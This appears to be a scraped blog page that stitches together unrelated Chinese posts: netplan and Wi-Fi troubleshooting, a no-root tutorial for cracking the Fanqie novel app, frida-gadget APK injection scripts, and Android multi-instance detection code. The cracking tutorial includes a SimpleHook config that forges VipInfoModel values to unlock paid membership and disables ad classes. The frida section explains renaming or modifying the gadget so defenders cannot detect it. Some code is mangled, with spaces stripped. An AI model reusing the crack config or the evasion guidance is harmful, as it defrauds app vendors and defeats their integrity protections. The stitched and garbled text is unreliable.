  • netplan 会一次从以下3个位置读取配置文件,并且按照优先级,仅有一个位置的配置文件生效:
    • /run/netplan 优先级最高
    • /etc/netplan 次优先级
    • /lib/netplan 最低优先级

参考 netplan - Troubleshooting networking issues 当出现配置不能生成,需要将后端服务器启动成debug模式。例如,我使用 systemd-netowrkd 则需要启用 DebuggingSystemd

1
2
sudo systemctl stop systemd-networkd
SYSTEMD_LOG_LEVEL=debug /lib/systemd/systemd-networkd

但是我发现我执行 netplan generatenetplan apply 都没有任何影响,似乎就没有连接上。

虽然手工可以创建一个 /run/systemd/network/10-netplan-eth0.network 填写内容:

1
2
3
4
5
6
7
[Match]
Name=eth0

[Network]
LinkLocalAddressing=ipv6
Address=192.168.6.10/24
DNS=202.96.209.133

配置创建后,执行 networkctl 就可以看到该eth0网卡是 configured ,似乎状态正常了。但是重启主机则网卡又是 unmanaged 并且 /run/systemd/network 目录又空了。

发现一个蹊跷,执行 netplan -d -v generate 显示输出:

1
2
3
netplan: netplan version 2.2 starting at Wed Oct 14 09:46:03 2020
netplan: database directory is /var/lib/plan/netplan.dir
...

为何显示数据库目录是 /var/lib/plan/netplan.dir ?

我这个版本的netplan默认去读取了空白的 /var/lib/plan/netplan.dir ,这个和官方文档不同。我尝试移除这个目录:

1
2
cd /var/lib
mv plan plan.bak

再次启动 netplan -d -v generate 显示:

1
2
3
4
5
6
netplan: netplan version 2.2 starting at Wed Oct 14 09:49:16 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: no read/write access to /var/lib/plan/netplan.dir/.: No such file or directory

这个版本的netplan可能是早期版本( 实践是在 Ubuntu 18 上,安装了 netplan 而没有安装更完整的 netplan.io 根据网友impl1874提供信息( use netplan.io please #10 ),需要通过完整安装 netplan.io 来修复这个问题。

我在上文中补充说明,建议直接安装 netplan.io ),只能固定读取 /var/lib/plan/netplan.dir/ ,不使用 /etc/netplan 目录,导致我配置无效。我还发现在 /var/lib/plan/netplan.dir/ 有一个隐含文件:

1
.netplan-acl -> /etc/plan/netplan-acl

警告

上述排查是我早期的记录,当时安装的操作系统是 Ubuntu 18 LTS,安装的 netplan 存在bug,请完整安装 netplan.io 来避免这个问题。

最新的 Ubuntu 20.04 LTS 默认即使用 netplan.io 没有这个问题。

5G Hz无线网络连接

在树莓派上配置了netplan的无线配置,配置文件 /etc/netplan/02-wifi.yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
network:
version: 2
renderer: networkd
wifis:
wlan0:
optional: true
dhcp4: yes
dhcp6: no
access-points:
"SSID-HOME":
password: "home-passwd"
"SSID-OFFICE":
auth:
key-management: eap
identity: "office.id"
password: "office-passwd"

但是发现无线始终无法连接, ip addr 显示:

1
2
3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
  • 使用 iwconfig 检查:

    1
    2
    3
    4
    5
    wlan0     IEEE 802.11  ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=31 dBm
    Retry short limit:7 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:on
  • 使用 networkctl list 检查发现:

    1
    2
    3
    4
    5
    6
    IDX LINK  TYPE     OPERATIONAL SETUP
    1 lo loopback carrier unmanaged
    2 eth0 ether routable configured
    3 wlan0 wlan no-carrier configuring

    3 links listed.
  • 检查无线网络连接服务配置状态:

    1
    systemctl status netplan-wpa-wlan0.service

显示连接了一个明显错误的 bssid=00:00:00:00:00:00 的无线AP,导致认证错误:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan-wpa-wlan0.service - WPA supplicant for netplan wlan0
Loaded: loaded (/run/systemd/system/netplan-wpa-wlan0.service; enabled-runtime; vendor preset: enabled)
Active: active (running) since Thu 2020-11-05 16:17:34 CST; 2min 7s ago
Main PID: 1932 (wpa_supplicant)
Tasks: 1 (limit: 9257)
CGroup: /system.slice/netplan-wpa-wlan0.service
└─1932 /sbin/wpa_supplicant -c /run/netplan/wpa-wlan0.conf -iwlan0

Nov 05 16:18:51 pi-worker2 wpa_supplicant[1932]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:27 pi-worker2 wpa_supplicant[1849]: wlan0: Trying to associate with SSID 'SSID-OFFICE'
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=0 ssid="SSID-OFFICE" auth_failures=1 duration=23 reason=CONN_FAILED

经过一周 排查wpa_supplicant无法连接5GHz无线问题 终于发现对于5G Hz无线网络连接,必须在 wpa_supplicant.conf 中指定 Country Code

不过,netplan的配置中当前不支持配置 country= ,所以可以采用两种方法:

  • 在执行 wpa_supplicant 之前,先通过 wireless-tools 工具包中的 iw 命令设置 regdomain

    1
    iw reg set CN

然后 wpa_supplicant 就可以连接5G Hz的无线AP。

  • 为了能够持久化上述 regdomain 配置,在Ubuntu中,可以修改 /etc/default/crda 配置设置如下:

    1
    REGDOMAIN=CN

然后重启就能够正常连接5G Hz无线网络。

参考

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

本文转自 w1234567890 并作补充

发现论坛好多小伙伴有了simplehook配置却不知道怎么用,而且搜了一下论坛也没有免root用hook的简洁教程,今天就来以番茄为例子写一个教程,希望对大家有帮助。

注:此教程以番茄为例子,面向不方便真机root,虚拟机不会弄root,lsp的小伙伴,全程免root,可以在真机丝滑使用。 需要root的有大把教程,基本和免root大同小异,我结尾也附了一些截图就不详细说了,看不懂的搜一下。

目录


受害者

需要工具

教程开始

受害者:

需要工具:

simplehook配置 在下面

番茄(5.9.3.32)点我下载

Simplehook(normal版) 点我下载

Lspatch 点我下载

Shizuku 点我下载

教程开始:

注意,因为我看到一个番茄的hook配置,所以此教程才以番茄为例子,其他软件也可以,别较真

一.安装以上四个软件

二.Shizuku配置激活

1.下载安装

2.按官方教程配对启动(推荐用无线配对)

点我查看官方教程

3.成功后看最上面显示shizuku正在运行即可

4.点管理授权应用,勾选Lspatch

三.Lspatch配置教程

1.打开LSPatch,看到shizuku服务可用

2.点管理页点击+号,找到番茄安装包或者安装到手机直接搜索

3.然后选本地模式修补,签名选用lv2然后点击开始修补

ps:注意看提示打开番茄,需要先打开LSPatch,不然会闪退

4.如图最后一行路径(我记得刚开始有弹窗让你选修补路径)就是安装包所在,安装即可

5.重进LSPatch,再次进入管理页,就会看到番茄

6.长按番茄,然后选择模块作用域,把下载的simplehook勾选上就行了

四.Simplehook配置

1.点首页右下角加号

2.复制如下番茄(测试软件)配置(可能论坛问题,分享的代码配置有朋友说格式错误,所以用附件分享)

1
>[{"packageName":"com.dragon.read","appName":"番茄免费小说","versionName":"5.9.3.32","description":"","configs":"[{"mode":2,"className":"com.dragon.read.widget.m","methodName":"a","params":"*","enable":false},{"mode":2,"className":"com.dragon.read.reader.ad.readflow","methodName":"*","params":"*","enable":false},{"mode":1,"className":"com.dragon.read.user.model.VipInfoModel","methodName":"<init>","params":"java.lang.String,java.lang.String,java.lang.String,Z,Z,I,Z,com.dragon.read.rpc.model.VipSubType","resultValues":"1893211199s,1s,1s,true,true,,true,"}]","id":3}]

点我下载 提取码:pBVj

(注:实际上可以不管这些配置,框架自带的足够用了)

3.点导入配置

4.就会出现番茄图标

5.长按点启动即可

注:填写完simplehook配置之后,需要清除番茄数据,然后再重新打开。如果发现未生效,重复操作即可。

ps:番茄验签好像有问题,我昨天测试的时候一切正常,今天弄又提示不安全了,用虚拟机又可以了。不过没事免root教程就这样,大家可以换软件测试。

————

真机测试图(图一昨日成功图二今日失败):

虚拟机测试和配置(一切正常,会员功能可用):

注:此篇文章是原作者怕被查水表,所以把图片都隐去了,但是工具使用都是没问题的,确实是在应用未加固或加固能力不强时可用的

非root环境下frida持久化的两种方式及脚本

非root环境下frida持久化的两种方式及脚本

本文转自 八重嘤 并作补充

frida是一个非常好用的hook框架,但使用中有两个问题,一是非root手机使用挺麻烦的,二是frida相较于其他HOOK框架没那么持久。网上的持久化大多基于xposed、刷ROM或者是virtualapp,前面两个是比较重量级,不够轻便。虚拟化技术本身就自带风险,很容易被检测到。

在Android端,网上教程里大部分都是使用frida server来进行hook,其实还有一种使用方法为 frida gadget,此方法需要将frida-gadget.so注入到apk中,纯手动的话过于麻烦,所以这里实现两个脚本,分别用修改smali、修改so来注入目标。

我使用的frida-gadget版本为14.2.18。有其他版本的需求,需要替换tools下的so文件

方法一 调试apk中含有so

此方法相对简单。原理来自于古早的静态注入方式:Android平台感染ELF文件实现模块注入

而这种注入方式有工具可以快速实现:How to use frida on a non-rooted device

该方法优点在于可以让gadget是第一个启动的,缺点是没有so的apk不能用。

1.效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

将frida_script.js push 到/data/local/tmp。frida_script.js为你的hook代码:

1
2
3
4
Java.perform(function () {
var Log = Java.use("android.util.Log");
Log.e("frida-OOOK", "Have fun!");
});//android 不要使用console.log

打开app即可看到效果,app每次启动都会成功的打印LOG:

image

不想使用持久化(本地js脚本),也可以通过电脑连接:

image

不使用持久化,就不必添加config文件,所以脚本执行不需要执行-persistence,执行下面的就可以:

1
python LIEFInjectFrida.py apkfile  outdir  libnative-lib.so  -apksign

2.代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/LIEFInjectFrida.py

运行脚本记得安装lief(pip install lief)

其实关键代码就几行:

1
2
3
4
5
6
for soname in injectsolist: #遍历apk中指定SO有哪几种架构,并添加gadget.so为依赖库。
if soname.find("x86") != -1:
continue
so = lief.parse(os.getcwd()+"\\"+soname)
so.add_library("libfrida-gadget.so")
so.write(soname+"gadget.so")

方法二 apk中没有so

在实际情况下,并不是所有的apk都有so。没有so,方法一便没有用武之地了。

此方法呢,是通过修改smali,调用System.loadLibrary来加载so。该原理更简单,但是有一个弊端就是时机不够靠前,没有办法hook Activity 启动之前的代码。

手动修改太麻烦,还是写一个脚本自动化注入。

此方法优点是原理简单,缺点是脚本实现麻烦,容易写bug

1. 效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

image

frida_script.js代码同上,同样也可以使用电脑连接:

image

2. 代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/SmaliInjectFrida.py

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def get_launchable_activity_aapt(self): #通过aapt找到apk的启动activity
aapt_path = os.path.join(self.toolPath, 'aapt.exe')
cmd = '%s dump badging "%s" ' % (aapt_path, self.apkpath)
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
out,err = p.communicate()
cmd_output = out.decode('utf-8').split('\r')
for line in cmd_output:
#正则,pattern.search正常,pattern.match就会有问题=-=懒得解决了
pattern = re.compile("launchable-activity: name='(\S+)'")
match = pattern.search(line)
if match:
# print match.group()[27:-1]
return match.group()[27:-1]

def injectso(self):
target_activity = self.get_launchable_activity_aapt()
for dex in self.dexList:
print(dex)
if self.dexDecompile(dex):
smali_path = os.path.join(self.decompileDir,target_activity.replace('.','\\'))+".smali"
print(smali_path)
with open(smali_path, 'r') as fp:
lines = fp.readlines()
has_clinit = False
start = 0
for i in range(len(lines)):
#start是获取smali中,可以添加代码的位置
if lines[i].find(".source") != -1:
start = i
#找到初始化代码
if lines[i].find(".method static constructor <clinit>()V") != -1:
if lines[i + 3].find(".line") != -1:
code_line = lines[i + 3][-3:]
lines.insert(i + 3, "%s%s\r" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
print("%s%s" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
#添加相关代码
lines.insert(i + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(i + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
has_clinit = True
break
#如果碰上本身没有clinit函数的apk,就需要自己添加
if not has_clinit:
lines.insert(start + 1, ".method static constructor <clinit>()V\r")
lines.insert(start + 2, ".registers 1\r")
lines.insert(start + 3, ".line 10\r")
lines.insert(start + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(start + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
lines.insert(start + 6, "return-void\r")
lines.insert(start + 7, ".end method\r")

with open(smali_path, "w") as fp:
fp.writelines(lines)
self.dexCompile(dex)

Frida 持久化检测特征

我因为方便,将frida js 放在了/data/local/tmp下,如果直接放在app的沙箱下,这就是一个稳定的hook框架了。

既然做了持久化,就要从防御者角度看看哪些方面可以检测到应用被注入了。

首先,当然是内存中会有frida-gadget.so。但这个so可以被重命名(我可以命名为常见的模块,比如libBugly.so),所以检测/proc/pid/maps下是否有frida-gadget并不准确。因为frida有一个config文件,是持久化必须存在的。所以检测libs下是否有lib*.so和lib*.config.so是一种较为可行的方法。但是,如果你不使用持久化,或者去github上找到frida的源码修改gaget.vala(ps.这一点是合理的猜想,还未验证过),就可以让防御者检测不到。

1
2
3
4
5
6
7
8
9
10
11
#gaget.vala 代码片段
if ANDROID
if (!FileUtils.test (config_path, FileTest.EXISTS)) {
var ext_index = config_path.last_index_of_char ('.');
if (ext_index != -1) {
config_path = config_path[0:ext_index] + ".config.so";#修改这里,就可以检测不到。需要保持后缀不变(例如改成symbols.so)
} else {
config_path = config_path + ".config.so";
}
}
#endif

除去端口检测这种几乎没什么用的,还有一种比较可行的是内存扫描,扫描内存中是否有LIBFRIDA_GADGET关键词,具体实现网上有教程我就不介绍了。

Android 禁止应用多开

Android 禁止应用多开

本文转自 九音 并作补充

Android多开

原理

一种是从多开App中直接加载被多开的App,如平行空间、VirtualApp等,另一种是让用户新安装一个App,但这个App本质上就是一个壳,用来加载被多开的App,其原理和前一种是一样的,市面上多开分身这款App是用的这种形式,用户每分身一个App需新安装一个包名为dkmodel.xxx.xxx的App

Android检测方案

1、检查files目录路径

App的私有目录是/data/data/包名/或/data/user/用户号/包名通过Context.getFilesDir()方法可以拿到私有目录下的files目录。

但是在多开环境下,获取到目录会变为/data/data/多开App的包名/xxxxxxxx或/data/user/用户号/多开App的包名/xxxxxxxx。

示例:

正常使用App上面的代码获取到的路径:

/data/user/0/top.darkness463.virtualcheck/files。

多开路径:

/data/user/0/dkmodel.zom.rxo/virtual/data/user/0/top.darkness463.virtualcheck/files。

2、应用列表检测

应用列表检测不是指简单的遍历应用列表判断是不是安装了多开App,我们并不阻止用户安装多开App并多开其他App,我们只是不希望用户多开我们自己的App,因此不能检测到用户安装了多开App就把他干掉。

多开App都会对context.getPackageName()进行处理,让这个方法返回原始App的包名,因此在被多开的App看来,多开App的包名和原始的那个App的包名一样,因此在多开环境下遍历应用列表时会发现包名等于原始App的包名的应用会有两个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean checkPkg(Context context){
try{
if (context == null){
return false;
}
int count = 0;
String packageName = context.getPackageName();
PackageManager pm = context.getPackageManager();
List<PackageInfo> pkgs = pm.getInstalledPackages(0);
for (PackageInfo info : pkgs){
if (packageName.equals(info.packageName)){
count++;
}
}
return count > 1;
} catch (Exception ignore){}
return false;
}

缺点:

只对部分多开App有效,例如360的分身大师,不少多开App会绕过这项检测

3、Maps检测

读取/proc/self/maps,多开App会加载一些自己的so到内存空间

比如说:

360的分身大师加载了其目录下的某个so,/data/app/com.qihoo.magic-gdEsg8KRAuJy0MuY18BlqQ==/lib/arm/libbreakpad-jni-1.5.so,通过对各种多开App的包名的匹配,如果maps中有多开App的包名的东西,那么当前就是运行在多开环境下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Set<String> virtualPkgs;
private boolean check(){
BufferedReader bufr = null;
try {
bufr = new BufferedReader(new FileReader("/proc/self/maps"));
String line;
while ((line = bufr.readLine()) != null){
for (String pkg : virtualPkgs){
if (line.contains(pkg)){
return true;
}
}
}
} catch (Exception ignore){}
finally {
if (bufr != null){
try {
bufr.close();
} catch (IOException e){}
}
}
return false;
}

缺点:

目前没有发现多开App绕过该项检测,但缺点是需要收集所有多开App的包名,一旦多开App改个包名就失效了。

4、ps检测

通过执行ps命令并以自己的uid进行过滤,得到类似下面的结果:

image

多开环境下:会获取到自己的包名和多开App的包名这2个包名,通过这些包名去/data/data/下找会找到2个目录

而正常情况下只能在/data/data/下找到自己的App的目录

具体方法网址:

(https://blog.csdn.net/shdhenghao3/article/details/94409299)

https://www.sohu.com/a/242918900_659256

四种方案测试结果

image

测试方案顺序1234,测试结果X代表未能检测O成功检测多开;

virtual app测试版本是git开源版,商用版已经修复uid的问题;

image

为了避免歧义,我们接下来所说的app都是指的同一款软件,并定义普通运行的app叫做本体,运行在多开软件上的app叫克隆体。并提出以下两个概念

狭义多开

只要app是通过多开软件打开的,则认为多开,即使同一时间内只运行了一个app

广义多开:

无论app是否运行在多开软件上,只要app在运行期间,有其余的『自己』在运行,则认为多开

最终方案

第1步:扫描本地端口(扫描tcp文件并格式化端口的关键代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>String tcp6 =CommandUtil.getSingleInstance().exec("cat /proc/net/tcp6");

>if(TextUtils.isEmpty(tcp6))return;

String[] lines =tcp6.split("n");

ArrayListportList =newArrayList<>();

for(inti =0, len = lines.length; i < len; i++) {

intlocalHost = lines[i].indexOf("0100007F:");

//127.0.0.1:的位置

if(localHost <0)continue;

StringsinglePort = lines[i].substring(localHost +9, localHost +13);

//截取端口

Integer port =Integer.parseInt(singlePort,16);

//16进制转成10进制

portList.add(port);

}

第2步:发起连接请求

接下来向每个端口都发起一个线程进行连接,并发送自定义消息,该段消息用app的包名就行了(多开软件很大程度会hook getPackageName方法,干脆就顺着多开软件做)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try{

//发起连接,并发送消息

Socket socket=newSocket("127.0.0.1",port);

socket.setSoTimeout(2000);

OutputStreamoutputStream = socket.getOutputStream();

outputStream.write((secret+"n").getBytes("utf-8"));

outputStream.flush();

socket.shutdownOutput();

//获取输入流,这里没做处理,纯打印

InputStreaminputStream = socket.getInputStream();

BufferedReaderbufferedReader =newBufferedReader(newInputStreamReader(inputStream));

String info=null;

while((info = bufferedReader.readLine())!=null) {

Log.i(TAG,"ClientThread: "+ info);

}

bufferedReader.close();

inputStream.close();

socket.close();

}catch(ConnectException e) {

Log.i(TAG, port+"port refused");

}

主动连接的过程完成,先于自己启动的app(可能是本体or克隆体)接收到消息并进行处理。

第3步:成为接收端,等待连接

接下来就是成为接收端,监听某端口,等待可能到来的app连接(可能是本体or克隆体)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
privatevoidstartServer(String

secret){

Random random=newRandom();

ServerSocketserverSocket =null;

try{

serverSocket=newServerSocket();

serverSocket.bind(newInetSocketAddress("127.0.0.1",

random.nextInt(55534) +10000));

//开一个10000~65535之间的端口

while(true) {

Socket socket =serverSocket.accept();

ReadThreadreadThread =newReadThread(secret, socket);

//假如这个方案很多app都在用,还是每个连接都开线程处理一些

readThread.start();

//

serverSocket.close();

}

}catch(BindException e) {

startServer(secret);//may be loop forever

}catch(IOException e) {

e.printStackTrace();

}

}

开启端口时为了避免开一个已经开启的端口,主动捕获BindExecption,并迭代调用,可能会因此无限循环,如果怕死循环的话,可以加一个类似ConcurrentHashMap最坏尝试次数的计数值。不过实际测试没那么衰,随机端口范围10000~65535,最多尝试两次就好了。

每一个处理线程,做的事情就是匹配密文,对应上了就是某个克隆体or本体发送的密文,这里是接收端主动运行一个空指针异常,杀死自己。处理方式有点像《三体》的黑暗森林法则,谁先暴露谁先死。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
privateclassReadThreadextendsThread{

privateReadThread(String

secret, Socket socket){

InputStreaminputStream =null;

try{

inputStream =socket.getInputStream();

bytebuffer[] =newbyte[1024*4];

inttemp =0;

while((temp = inputStream.read(buffer)) !=-1) {

String result=newString(buffer,0, temp);

if(result.contains(secret)) {

//

System.exit(0);

//

Process.killProcess(Process.myPid());

nullPointTV.setText("");

}

}

inputStream.close();

socket.close();

}catch(IOException e) {

e.printStackTrace();

}

}

}

*因为端口通信需要Internet权限,本库不会通过网络上传任何隐私

本文方案已经集成到

github地址:

https://github.com/lamster2018/EasyProtector